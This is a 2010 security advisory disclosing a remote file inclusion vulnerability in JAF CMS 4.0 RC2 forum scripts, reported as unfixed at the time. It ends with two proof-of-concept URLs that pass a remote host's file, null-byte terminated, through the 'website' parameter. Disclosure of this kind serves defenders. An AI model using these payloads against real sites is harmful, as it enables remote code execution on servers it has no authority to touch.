RFI in JAF CMS

[advisory () htbridge ch]

Vulnerability ID: HTB22666
Reference: http://www.htbridge.ch/advisory/rfi_in_jaf_cms.html
Product: JAF CMS
Vendor: JAF CMS ( http://jaf-cms.sourceforge.net/ ) 
Vulnerable Version: 4.0 RC2
Vendor Notification: 21 October 2010 
Vulnerability Type: Remote File Inclusion
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/module/forum/main.php" & "/module/forum/forum.php" scripts to properly 
sanitize user-supplied input, it's possible to include any remote file if register_globals = On.

The following PoC is available:


http://[host]/module/forum/main.php?website=http://any_host/any_file%00
http://[host]/module/forum/forum.php?website=http://any_host/any_file%00